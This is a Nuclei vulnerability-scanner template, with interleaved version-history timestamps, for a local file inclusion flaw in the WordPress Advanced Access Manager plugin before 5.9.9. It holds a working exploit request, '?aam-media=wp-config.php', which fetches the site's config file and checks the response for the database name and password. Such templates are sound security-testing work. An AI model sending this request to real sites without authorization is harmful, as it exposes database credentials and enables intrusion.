2021-10-11 11:22:28 +00:00
id : advanced-access-manager-lfi
info :
2022-08-10 08:49:57 +00:00
name : WordPress Advanced Access Manager < 5.9.9 - Local File Inclusion
2021-10-11 11:22:28 +00:00
author : 0x_Akoko
severity : high
2022-08-10 08:49:57 +00:00
description : |
WordPress Advanced Access Manager versions before 5.9.9 are vulnerable to local file inclusion and allows attackers to download the wp-config.php file and get access to the database, which is publicly reachable on many servers.
2021-10-11 11:22:28 +00:00
reference :
- https://wpscan.com/vulnerability/9873
- https://id.wordpress.org/plugins/advanced-access-manager/
2022-08-06 16:54:58 +00:00
- https://wpscan.com/vulnerability/dfe62ff5-956c-4403-b3fd-55677628036b
2022-08-05 13:57:51 +00:00
classification :
cvss-metrics : CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score : 7.5
cwe-id : CWE-22
2023-04-28 08:11:21 +00:00
metadata :
max-request : 1
2023-10-14 11:27:55 +00:00
tags : wordpress,wp-plugin,lfi,wp,accessmanager,wpscan
2021-10-11 11:22:28 +00:00
2023-04-27 04:28:59 +00:00
http :
2021-10-11 11:22:28 +00:00
- method : GET
path :
- '{{BaseURL}}/?aam-media=wp-config.php'
matchers-condition : and
matchers :
- type : word
2022-08-10 08:49:57 +00:00
part : body
2021-10-11 11:22:28 +00:00
words :
- "DB_NAME"
- "DB_PASSWORD"
condition : and
- type : status
status :
- 200
2023-10-20 11:41:13 +00:00
# digest: 4a0a0047304502200acf6fcdd8c6464216c0297dfdec39c182a79e0f3f4afb631e59a0a1730a428f022100d6c8060f1cdf193bfa049cfb3a3bfd68ddb89f1988451a38da775e15697c2d9b:922c64590222798bb761d5b6d8e72950
